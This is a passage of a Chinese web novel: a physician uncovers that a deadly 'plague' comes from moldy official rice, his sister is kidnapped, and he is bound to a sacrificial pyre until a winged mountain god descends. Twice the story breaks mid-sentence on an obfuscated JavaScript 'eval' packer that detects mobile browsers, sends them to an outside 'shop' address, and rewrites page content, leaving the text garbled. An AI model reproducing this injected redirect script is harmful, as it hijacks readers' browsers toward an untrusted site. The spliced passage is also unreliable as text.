几名官吏正将一袋袋米往秤上搬,催着镇上的米铺掌柜过数。掌柜做了几十年的生意,只是扯开个口子看了眼,便面露难色连连摆手,急声道:“大人,这米都霉了,卖出去吃坏了人可怎么得了?”
为首的官吏当即沉了脸,抬脚踹在米袋上,目露凶光地呵斥:“不过霉了点边角,又不是全烂了!晒一晒淘洗干净,怎么就不能吃?敢驳官府的意思,你这铺子还想不想在镇上开了!?”
掌柜被那股威压慑住,脸色青白交加,终究不敢再犟,只得咬着牙掏了银子,转头喊来外头的小厮,闷声吩咐着把霉米搬上马车。
而在他离开之后不久,又一名小厮驾着马车停在了粮仓前。
沈沂清瞧见,心头那点猜测终是落了实。
镇上连日来大批百姓病倒,哪里是什么莫名疫病,分明是吃了这霉米的缘故。也难怪越是底层的百姓,染病的越多,那些大户人家却鲜有动静,想来是米铺掌柜也怕得罪权贵,不敢将霉米卖给他们,但为了不让这些米砸在手里烂掉,便尽数兜售给了寻常百姓。
怕是镇上诸多米铺,大抵都架不住官府这般威逼,只得买下霉米。尚有几分良心的,还会掺些好米混着卖,若是心黑的,便直接将霉米包装成好米的模样售予旁人,害得许多不知情的百姓误食粮毒。
念及此,沈沂清只觉心头火气翻涌,指尖都在发颤。
这般视百姓性命如草芥,当真可恨!
18. 绑架
青石板路被晨雾浸得微凉,林子轩攥着袖口磨得发毛的布衫,站在沈府巷口来来回回踱了半炷香的功夫,喉结滚了又滚,眼底是几分急切,又掺着几分笃定。
昨儿个从表姑那听着沈青晚回来的消息时,他就知道,她舍不得他,当初连夜离开不过是闹脾气,气他没立刻应下跟她去外头,也气他娘说的那几句实在话。
“晚晚那丫头心气高,但心里装着你,不然能跟你处这好几年?”
“沈家是镇上的大户,你能攀上是天大的福气,就算入赘又如何?自古哪有女人掌家的理,等成了亲,她还不是得听你的?你好好去道个歉,软和话多说几句,她性子软,准能依你。”
林子轩深以为然。
他是真心喜欢沈青晚的,喜欢她眉眼里都是他的模样,喜欢她待自己事事周全,不然也不会在她走后这段时间,推了母亲托人说的好几门亲事。
他只是舍不得镇上这安稳日子,舍不得爹娘留下的这几间瓦房,可这又有什么错?
他不过是想给她一个更稳的将来,等他掌了沈家的权,还不是想带她去哪就去哪?
晨雾散了些,巷口能瞧见沈府朱漆大门的铜环,林子轩定了定神,抬手拍了拍衣襟上的褶皱,抬脚往里走,心里已然想好了说辞。
先低眉顺眼认个错,说自己当初糊涂,不该惹她生气,再软声哄着,承诺往后什么都听她的。
反正依着娘说的,女儿家哄一哄,心就软了,往后沈家的一切,终究是他的。
他走到门前,刚要抬手扣门,门内传来丫鬟说笑的声音,伴着一道熟悉的女声:“你们都仔细点,这可是我阿兄最喜欢的兰草,搬去西院晒得到太阳就好。”
是沈青晚。
林子轩的心跳猛地快了几分,嘴角不自觉扬起来,抬手,重重扣了三下门环。
门很快打开。
“是谁呀?”沈青晚好奇地凑过来,她这几日听兄长的话,一直在府上陪着阿娘。虽然知道阿娘没事后她无疑是高兴的,但待久了还是不免有些向往外面的趣事。
一张在记忆中已经有些许模糊的身影出现在眼前,沈青晚忽地愣下了脚步。
林子轩以为她是因为害羞,主动走近几步,“阿晚,我这次来——”
“关门!”沈青晚喊得几乎破音,方才开门的下人浑身一哆嗦,下意识照做。
林子轩被关在了一步之遥的门外,好一会都没回过神来,只能依稀听见里面传来几段对话。
“云芝,走了。”沈青晚毫无留恋地转身。
云芝自小侍奉沈青晚,对这些儿女情长一直看在眼里,见状纳闷道:“小姐,林公子看起来是专程来找你的,我们就这样将他拒之门外真的好吗?万一是有什么重要的事情呢。”
“他能有什么重要的事,若是真有,我离开的这一月里为何连封书信都不见。”沈青晚停下来看她,“云芝你相不相信我?”
云芝因她突然变得认真的神情怔了一下,方笃定道:“我自是相信小姐您的。”
沈青晚用手弹了一下她的额心,笑开,“那就别再提这事啦。”
-
从官府粮仓回到沈府已是深夜。
霉米的源头已经可以确定,但官府过去一向谨慎,从未有过像这样出现大批霉米的情况。沈沂清后面又去找到了那几个米铺掌柜,可惜对此都不知情,碍于官府施压,私下里也不敢过多调查。
这事就心照不宣地压着,最后导致镇上大批百姓深受其苦。
沈沂清相信今日的事情寄安也都看到了,在现场时却不见他露出任何反应,冷漠得有点不太像一个曾经经常吃不饱饭的人。
现下只有他们两人,沈沂清状似随口问他怎么看。
寄安过了一会才开口,转过来对他说:“无论哥哥想做什么,我永远站在哥哥这边。”
倒是会哄人,沈沂清想,不再问了。
他们刚到门口,便意外撞见了简凝远。
她来府上这阵子都是与沈青晚同吃同住,按理来说这时候也应该是在她屋里。
可此刻神情严肃守在门外的样子,明显是在等着沈沂清回来。
“沈公子。”简凝远全身肌肉紧绷着,原本腰腹上的伤再次蹦开,一抹晃眼的红沁在衣前。
“晚小姐被人带走了。”
沈沂清脸色顿变,“发生了什么?”
简凝远始终蹙着眉,却仍保持着冷静,将经过一五一十地告知了他。
林子轩那天被沈青晚拒之门外后并没有放弃,他知道她是在怪他之前没有答应一起离开,这几日费尽心思想与对方说清楚,谁料曾经恨不能天天与他待在一起的沈青晚,现在再见一面竟难比登天。
看门的下人事先得到过沈青晚的交代,无论林子轩如何好话说尽,只要是他这个人,就是不开门。
无法,林子轩只好另辟蹊径,直到买通府上一个下人帮忙递信给沈青晚,才终于答应跟他见一面。
沈青晚将信烧尽,越想越觉得可笑。她与林子轩是在一次庙会上认识的,当时对方正在为一位长期遭受儿子打骂的老人家打抱不平,声音不疾不徐却字字铿锵,听得人颇为认可。
当时她就站在人群对面,见他挺身而出,只觉这人有几分胆识;待见他对老人那般温和细致,与方才斥骂逆子时的锋芒判若两人,那份藏在才华风骨里的柔软善良,就这样让她记了许多年。
她知道兄长一直都不怎么喜欢阿轩,过去也从不强迫他二人见面,大都是她偷偷跑去找林子轩,引得旁人闲言碎语,说她尽知道往男人家钻,不知检点。
现在想想,这么多年了,林子轩可曾有出面为她说过一句解释的话?
最后一点纸张也即将烧成灰烬,沈青晚松开了手,起身。
她不想一辈子躲在兄长身后,更不想所有事情都麻烦兄长来替她解决。
出门赴约前,沈青晚叫上了简凝远陪同。阿远身手厉害,寻常人里没几个是她对手,有她在身边,料想林子轩也不敢对她做什么。
“……当时我陪晚小姐到一家酒楼,林子轩说有话想单独和晚小姐说,我便在门外等着。大概过去一刻钟,里面传来异响,等我推开门,才发现这间房早与隔壁打通,晚小姐已经不知所踪。”
发现人不见后,简凝远料定对方还未走远,立刻动身去找,可对方显然早有准备,一伙人突然从窗口跳入,挡住了她的去路,最终因为有伤在身寡不敌众,没能成功救回沈青晚,只能先回到沈府报信。
“可有看清那伙人的外貌特征?”沈沂清问。
简凝远摇头,“他们皆有蒙面,身手灵活,我没有机会看清。”
沈青晚的人际关系简单,不曾主动与人结下过梁子,沈沂清对此知根知底,而林子轩更是没有那个胆子,做出一个人将沈青晚掳走的事来。
林子轩是被人利用的。
沈沂清沉默片刻,“他们的真正目标是我和整个沈府,应该暂时不会伤晚晚的性命。”
话虽如此,但他们谁都不敢保证沈青晚不会受到一丝一毫的伤害。
-
沈青晚失踪以后,沈沂清派了不少人出去找,一直
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521292|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有消息,反倒先在镇外一家客栈找到了带着家中母亲躲在那里的林子轩。
由于“疫病”,镇上即便是白日也很少再有人外出。客栈里静得压抑,木窗半敞,漏进的风卷着些微凉意。
沈沂清踏进门时,目光一眼就锁在了桌前缩着的男人身上。要不是对方将晚晚诓去酒楼,也不至于害得晚晚如今是生是死都不知道。
身后跟着的家丁齐齐立在门口,屏声敛息,只听自家公子冷得像淬了冰的声音砸下来:“我妹妹在哪?”
林子轩见他这阵仗,起初还强装镇定,眼神躲闪着摇头:“我、我不知…… 那日在酒楼散了,我便没再见过令妹。”
话音未落,沈沂清眼底的最后一点温度尽数褪去,薄唇轻启,“打。”
家丁应声上前,林子轩这才慌了神,手脚并用地往后缩,嘶声喊着:“你不能打我!我是阿晚心悦的人,你若敢打我,她知道了定会恨死你的!”
沈沂清站在原地,衣摆纹丝不动,只淡淡瞥他一眼,那目光里的漠然比怒火更慑人:“是么?”
“多谢提醒,我不会让她知道的。”
棍棒落身的闷响和林子轩的惨叫顿时填满了客栈,一旁的林母扑过来想拦,却被家丁架住,只能瘫在地上大哭,看着儿子被打得蜷在地上,红着眼眶破口大骂:“你这个心狠手辣的东西!打我儿,我咒你这辈子不得好死,永世不得安宁!”
沈沂清充耳不闻,直到林子轩被打得气息奄奄,连惨叫都弱得像蚊蚋,才抬手示意停下。他缓步走到林子轩面前,居高临下地看着他,声音里没半分波澜,“林公子现在可愿说了?”
林子轩抬眼,撞进沈沂清眼底翻涌的杀意,那是真的敢取他性命的狠戾,不由得一颤。
想起老母亲还在一旁,他终于怕了,抖着唇断断续续地吐出几句,说了那日在酒楼的零星线索。
沈沂清听完,没再看地上的母子俩,转身便走。
外边的天光刺得他微眯了下眼,身后忽然传来一道悦耳的声音:“哥哥。”
寄安此趟也跟了出来,不过方才一直站在外边并未进去,此刻走上前,目光落在沈沂清身上,“借你头上的簪子一用。”
沈沂清心头不解,但还是依言取下束发的骨簪给他。
还没反应过来,寄安就就摊开自己另一只手,对着掌心利落划去。
骨簪的尖儿刺破薄皮,渗出血珠,在白皙的掌心晕开细碎的红,画着一个沈沂清看不懂的纹路。
“你做什么!?” 沈沂清惊得想阻拦,却被对方巧妙躲开,手上的血流得更多。
寄安的动作没停,声音低沉温和,像落进耳畔的风:“这是我们那边的仪式,以血为引,可向天神传达所愿。”
纹路画毕,他擦净骨簪后归还,看过来的目光灼热,如两粒跳动燃烧的火星子,稍不留神就能点燃周遭。
“哥哥这一世都会安稳顺遂,无灾无扰。”
沈沂清猛地愣住。
原来寄安都听见了。
他竟为了那句荒唐的诅咒,用这样的方式,替他向所谓的天神祈福消灾。
心口像是被什么东西轻轻撞了一下,暖意顺着那道撞痕层层漾开。
沈沂清别开眼,将骨簪重新束好,“我不信诅咒,也不信神。”说完,便转身快步往前走去,不敢回头看寄安的目光。
寄安站在原地,没有立刻跟上,低头看向自己的掌心。
少顷,血迹竟像是活了一般,在他掌面缓缓移动、聚拢,最终凝作一个端正的 “清” 字,红得鲜明,久久未散。
19.显身
因为“疫病”死去的人越来越多。
镇上并非只有沈沂清一个大夫,但许多都怕惹祸上身,不敢在这个敏感的节骨眼上站出来。
有几个实在想帮忙的,悄悄到镇西的义诊处,帮着沈沂清一起接诊那些中了粮毒的百姓。
然而感染粮毒的人实在太多,即便他们每日在义诊上片刻不敢停歇地投入了数个时辰,仍有人因为无法得到及时救治而死去,使得整个绥灵镇都笼罩在一片压抑之中。
那天林子轩最后向沈沂清坦白,当初找到他的人他并不认识,可能是谨慎地派了自己的心腹过来找他,但听对方讲话的口音,是镇上的人,并且对方还提到了山神。
“……他们说阿晚是因为怕山神的事牵连于我,才不愿意继续同我亲近,只要解开了祭祀新娘的身份,我们就能恢复到曾经那样。”
“而且他们向我保证过,绝对不会伤害阿晚的,事成之后就会让我们见面。”
沈沂清只觉得林子轩悲哀。
喜欢一个人却不敢自己亲口去挽回,而听信他人,将失败归咎于莫须有的神明身上,甚至被人利用了都不知道。
这样的人,他是绝对不会让晚晚和他继续在一起的,即便晚晚会因此讨厌他。
白日里,沈沂清守在药庐诊脉配药,指尖捏着脉枕就没松过,镇里染疫的百姓都挤在这里求治,还有些惧死的汉子红着眼拍桌闹事,他耐着性子安抚,转头又要差人打探妹妹的消息,夜里合眼不过两个时辰,眼底的青黑重得遮不住。
压垮他的是突如其来的一场高热。他撑着配完最后一剂药,转身时眼前一黑,撞在药柜上,瓷瓶碎了一地,人也跟着栽倒。
再醒来时,已是傍晚。
窗外的天光昏沉,染着橘红的余韵,沈沂清浑身骨头缝里都透着酸软,喉咙干得冒火,唇瓣裂了细纹。
意识还陷在昏沉里,他下意识地哑着嗓子唤了声:“寄安……帮我倒杯水来。”
门被轻轻推开,进来的却是陆柱,倒好温水捧着杯盏送到他手边,快要哭出来,“少爷,您可算醒了。”
沈沂清抬眼,眸底的惺忪慢慢褪散,看清来人,捏着杯沿的手指微顿,后知后觉想起自己竟有好些天没见过寄安了。
他这几天忙得分身乏术,夜里阖眼便沉眠,连他何时不见的、去了哪里都没顾上留意。
温水滑过喉咙,稍稍压了燥意,他声音依旧哑:“你见到寄安没?”
陆柱垂着头摇头,说自己也已经好几日不曾瞧见。
沈沂清捏着空杯,指尖抵着微凉的瓷壁,心头漫上几分纳闷。
他正蹙眉想着,院外忽然传来震天的喧闹。
喊骂声、砸东西的脆响里混着众人的叫嚷,撞得耳膜发疼。
“怎么这么吵。小柱子,去看看外面怎么回事。”
陆柱出去看,半刻钟后又慌慌张张跑回来:“少爷!不好了!府外聚了好多人,是知县那小舅子陈顺带着人来闹事了!”
沈沂清心头一沉,撑着榻沿想坐起身,身子却虚得晃了晃,陆柱忙扶着他。
他勉力靠着床头,听见府外陈顺的声音陡然拔高,字字戳心,借着风传进院里。
“沈府的人听着!今日镇上疫病横行,百姓死伤无数,全是你们沈家造的孽!”
“祭祀山神的新娘本是定好的人选,你们沈家竟敢暗中偷换,触怒山神,这才引来天谴降下惩罚!”
“若不给个交代亲自向山神爷谢罪,我们便烧了你这沈府,替全镇百姓讨个公道!”
“……”
喊骂声一浪高过一浪,伴着石块砸在府门上的闷响,还有附和的叫嚷。沈沂清脸色本就白得像纸,此刻更是血色尽褪,唇瓣抿成一道冷硬的线。
陆柱急得连连跺脚,两手在身前反复绞着衣角,“少爷,要不您和老夫人先出去躲一阵子吧!现在人都在气头上,听不进解释,等这事过了再回来。”
沈沂清沉默片刻,却道:“扶我出去。”
陆柱闻言,快急成热锅上的蚂蚁:“少爷!”
沈沂清依旧态度坚决。
陆柱无法,只好上前搀扶着他往大门走。
沈沂清此次出来得仓促,并未戴上幂篱、面纱遮掩样貌。府门吱呀一声敞开,外头闹事的众人目光齐刷刷落来,当即就凝在了他脸上。
劳病缠身的苍白面庞依旧清绝出尘,眉眼温润如玉,哪怕面色透着病态孱弱,也难掩那份风骨。
陈顺看见他,先是一愣,压根没将眼前这位绝色人物与那丑陋的瘸子对应上,甚至在想沈府上何时多了这样一个美人,竟比沈青晚还要漂亮几分,直至对方开口,那熟悉的嗓音入耳,陈顺才猛然回过神,惊觉这人竟是沈沂清。
沈沂清视线淡淡扫过眼前一众吵嚷之人,道:“你们聚众堵在我沈府门前,口口声声讨要公道、扰乱门庭清净,当初家妹被强行选为祭祀新娘之时,你们谁曾想过她的意愿,想过我沈府的难处?那时又有谁来给我们一个公道?”
众人只顾着跟风闹事,从未深思过其中情理,竟一时被他的话堵得面面相觑,哑口无言。
僵持间,陈顺往前踏出一步,冷嗤出声:“山神爷何等尊贵的沈府,能选中你妹妹做祭祀新娘,是她上辈子修来的福分,更是垂怜沈家的天大恩泽!你们沈家不知感恩也就罢,反倒替换人选惹恼山神,连累全镇百姓受祸!”
“今日我等便是顺应山神爷旨意,特地前来惩治你们沈家欺上瞒下、悖逆神明的行径!”
这番恬不知耻的言论直叫沈沂清气急攻心,低低咳嗽起来。单薄的身子随着咳意微微颤抖,几欲站不稳,陆柱见状连忙伸手扶住,轻轻替他拍背顺气,好半晌才平复下来。
沈沂清抬眼,眼底覆上一层冷冽寒霜,语气淡得没有一丝温度:“好。既然你们一口咬定我沈家暗中偷换祭祀新娘人选,刻意触怒山神,那不妨拿出真凭实据来。”
陈顺显然早有万全谋划。他朝身后递了个眼色,立马有人将一个神色慌张、浑身瑟缩的汉子架了出来。
“这便是人证。”
那名叫王二的汉子垂着头,结结巴巴开口:“我…… 我前些日子去鄂阳送货,确、确实亲眼瞧见了沈家小姐……”
陈顺立刻目光逼视着沈沂清,厉声质问:“若沈青晚当真上了山,又为何会叫人在鄂阳碰见?这不是暗中替换包庇是什么?”
沈沂清并未顺着他的话辩解半句,反而同样质问道:“陈顺,如今镇上无辜百姓皆被粮毒所困,你当真与此事毫无瓜葛?若要论罪,你是不是也该一起被火焚谢罪?”
他早已查得透彻,眼下镇上所谓山神降下来的“疫病”,根本和神明天谴无关,源头便是官府粮仓流出的霉变陈米。
而如果他没有记错,知县早就将粮仓交由小舅子陈顺一手掌管,手下的人将腐坏霉米强卖给米铺掌柜,他绝不可能毫不知情,更甚至就是他暗中指使。
被一语戳中隐秘,陈顺脸色瞬间铁青,怒声啐道:“呸!你少在这里胡言乱语、颠倒黑白!”
他索性撕破脸皮,狞笑着开口:“你还不知道吧?你那好妹妹早被我派人绑走,如今就押在祭台上!你猜猜镇上众人会不会轻易放过她?”
“早知今日局面,当初你便该乖乖把她许给我,也省得惹来这一身祸事!”
他与沈沂清的积怨由来已久。
年少灯会猜灯谜,他当众输给沈沂清,沦为旁人笑柄,从此耿耿于怀。后来他看中沈青晚,想要提亲求娶,又被沈沂清当众回绝警告,旧怨新恨积压至今。
话音落下,看着沈沂清脸上愈发难看的神色,陈顺放肆得意地大笑起来。
-
祭台周遭的喧闹被祠祝一声冷喝压得死寂,他拄着刻满云纹的桃木杖,一步步踏上青石台阶,道袍扫过台面上的香灰,目光如淬了冰的锥子,直直钉在被围在中央的女子身上。
“此次疫病横行,皆因山神震怒那日送上山的,根本不是真正的祭祀新娘。”
沈青晚浑身一震,攥紧了垂在身侧的手,指尖掐进掌心。
祠祝上前一步,指着她的右臂,高声道:“祭祀神妃,需得山神赐下神印,烙于右手小臂,方为天定之人!你们看她的手臂,可有半分印记?”
有人上前扯过沈青晚的衣袖,她的小臂光洁如玉,别说神印,连半点疤痕都无。
人群顿时哗然,怒骂声更甚。
祠祝桃木杖往青石上一砸,发出 “咚” 的闷响,“说!是谁替你嫁了山神爷?是谁竟敢欺瞒天地,亵渎神明!”
沈青晚垂着眼,心底那点隐约的猜测翻江倒海。经过这几日的观察和祠祝这番逼问,她哪里还想不明白究竟发生了什么。
是阿兄,定然是阿兄……
她咬着唇,齿尖几乎嵌进肉里,只硬邦邦吐出:“我不知道你在说什么。”
“还敢嘴硬!”不知是谁先喊了一声,紧接着,一块碎石便朝着沈青晚的额头砸来。
她避之不及,碎石正中额角,钝痛传来,温热的血珠瞬间顺着脸颊滑落,染红了衣襟。疼得眼尾通红,睫毛剧烈颤抖,却硬是仰着头,没掉一滴泪,脊背依旧挺得笔直,任凭底下的人如何谩骂,不肯松口。
“住手!”
一声冷喝自人群外传来,影卫出身的简凝远身形一晃,已拔剑上前,一只手却从旁伸出,轻轻按住了她的剑鞘。
那只手骨节分明,掌心带着多年执笔留下的薄茧。
沈沂清从后方缓步走出。他刚从沈府赶过来,身上还发着高热,脸色透着一股不寻常的苍白,与那未来得及束起的墨色长发形成鲜明对比。
他当着众人的面,一步步走上祭台,站在沈青晚身前,替她拭去脸颊的血珠,动作轻柔,“阿兄来晚了,害得我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522835|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚晚受苦。”
沈青晚预感到什么,泪水倏地夺眶而出,紧紧抓住兄长的袖子,摇了摇头:“阿兄,你别……”
沈沂清抱住她,像以往安慰她一样轻轻拍着她后背,“没事别怕,有阿兄在,你不会有任何不测。”
沈青晚还想劝他别再一个人面对,大脑却不受控制地越发昏沉。她立刻意识到是兄长做了手脚,却已经来不及。
感受到怀里的身躯彻底柔软下去,沈沂清叫来简凝远,拜托她先将晚晚带走。
他独自留下,站在祭台上,面对着满场愤怒的百姓和目光冷冽的祠祝,回答了他们先前对沈青晚的质问。
“没有旁人,是我。”
一语落地,满场死寂。
沈沂清抬手,挽起自己的右袖,露出小臂。那片光洁的肌肤上,赫然印着一片赤红纹路,正是代表神妃的神印,烙得极深,入了肌理。
“那日是我,因一己私欲,不愿家妹葬身深山,便男扮女装替她去了山神祠。” 他抬眸,目光扫过众人,没有半分闪躲,“欺瞒神明,亵渎山神的,皆是我一人所为,与家妹无关,更与沈家无关。”
短暂的死寂后,是更疯狂的怒骂。
“是他!是他亵渎了山神!”
“难怪山神降怒,让我们遭此疫病之苦!”
“烧死他!烧死他谢罪,才能平息山神的怒火!”
百姓们红着眼,几个人冲上来,用粗麻绳狠狠缠上沈沂清的手腕,勒得皮肉生疼,将他绑在祭台中央的木柱上。
有人抱来干柴,堆在他的脚边,火光映着他苍白的脸,却没映出惧色。
人群中,有人盯着沈沂清的脸,眼神微动,低声喃喃:“这、这不是前些日子在镇西义诊的贾大夫吗?他还给我家老婆子看过病,分文不取……”
“什么贾大夫!他就是个亵渎神明的罪人!” 身旁的人立刻厉声打断,“若不是他,我们怎会受这疫病折磨?今日不烧死他,山神再降惩罚,我们都得死!”
那人心头一震,想起家人卧病在床的模样,到了嘴边的话终究咽了回去,默默退进了人群。
有人认出了他的善,有人记得他的恩,可在生死面前,在对山神的恐惧面前,所有的感念都成了浮云。没有一个人愿意站出来,没有一个人肯为他说一句公道话。
“时辰到,祭天驱邪!”
干柴堆得越来越高,火光越来越盛,映红了半边天,也映着沈沂清眼底的平静。
他抬眼望向天际,仿佛在等什么,又仿佛只是淡然接受。
-
蒋常已经确定寄安的身份并不简单,他将那名老樵夫带回了镇上,准备让对方再帮忙当面认一认寄安。
刚行过镇口,便瞧见前方聚集了大量人,嘴里大喊着什么“烧死他”。
蒋常心中纳闷,有种不好的预感,转头说:“老人家,辛苦您在这等一等,我去前面看看发生了什么。”
老樵夫让他去吧。
举目四顾,镇上所有人似乎都聚在了这里。蒋常费了一番功夫,才终于挤到中间的位置,得益于身量优势,看清正中央不知何时架起个快有一人高的祭台,其中烈火随风而动,直冲天霄。
台上还绑着个人,可惜火势过大,模糊了对方的身影,只能瞧见一抹翻飞的青色衣袂。
身边有人双掌合十置于正前,嘴里念叨着:“这沈府当真害人不浅,希望今日祭祀过后,山神爷能够不计前嫌,宽宥我镇。”
蒋常听见“沈府”二字,当即变了脸色,“你说什么?这祭台上绑着的人是谁!?”
即便不等人回答,他也意识到出事了,冲出去准备救人。
浓烟卷着赤红火舌翻涌,烧得祭台的干柴噼啪作响,火舌早已舔上沈沂清的衣摆,焦糊气混着热浪扑面而来。
蒋常此刻已冲破拦阻的百姓,眼看就要纵身跃上火台斩断绳索,忽有一道清冽的风自天际卷落,压得窜动的火舌陡然一敛。
一道玄色身影破云而下,身形颀长挺拔,背后一对硕大墨色翅膀,翼骨凌厉分明,脸上覆着一张雕刻有繁复山纹的青铜面具,遮住了大半容颜,只露出线条冷硬的下颌。
落地时轻得无声,只在祭台上漾开一圈极淡的光晕,竟将周遭的热浪尽数隔在三尺之外。
周遭的喧闹戛然而止,方才还红着眼叫嚣的百姓,望着那道裹着金辉的身影,瞳孔骤缩间,连呼吸都忘了。
不知是谁先腿一软,“咚” 的一声跪倒在滚烫的青石上,额头死死贴地,声音抖得不成调:“山、山神爷显身了!”
这一声喊,如惊雷炸在人群中。下一秒,满场百姓齐齐跪倒,密密麻麻跪了一地,连方才盛气凌人的祠祝,都面无血色地瘫跪在地,桃木杖摔在一旁,浑身止不住地颤。
所有人皆俯首帖耳,不敢抬头半分,口中恭敬又惶恐地齐呼:“拜见山神爷!”